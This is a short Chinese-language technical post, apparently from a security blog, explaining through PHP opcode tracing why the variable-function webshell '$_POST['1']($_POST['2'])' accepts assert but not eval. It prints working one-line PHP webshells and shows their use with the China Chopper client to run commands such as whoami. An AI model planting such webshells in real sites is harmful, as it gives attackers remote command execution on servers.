經常會遇上這么一個問題
<?php
$_POST['1']($_POST['2']);
在菜刀中一般是1=assert&2做為密碼連接,或者1=system&2=whoami來執行命令。
<?php
eval($_POST['2']);
看看熟悉的一句話,這個時候就會想,為啥不能這樣1=eval&2
連接。
$_POST['1']()
這是一個可變函數,這意味着如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,並且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。
但值得注意的是不能用於例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語言結構
所以在看手冊里面看eval函數就會發現有一行提示:
Note: 因為是一個++語言構造器++而不是一個函數,不能被可變函數調用。
結論就說到這,現在來驗證一下。
eval.php
<?php
eval("system('whoami');");
assert.php
<?php
assert('system("whoami")');
可以很清楚的看到opcode,eval是INCLUDE_OR_EVAL去處理,而assert是用DO_FCALL去處理。
可以看下DO_FCALL
會進行一個函數名的查找
再跟一下INCLUDE_OR_EVAL
就會發現進去后會直接編譯eval參數中的代碼。
從一開始的跟蹤opcode中可以看到,eval其實是Zend的函數,而assert是PHP_FUNCTION宏編寫的,最后在調用上是不同的。
print與printf也一樣,前者不是函數,而后者是的。
對於opcode的理解可以看看這篇文章
感謝ph師傅以及各位基友的指導。
參考資料:
ln-科普小文章php內核動態調試關於弱類型比較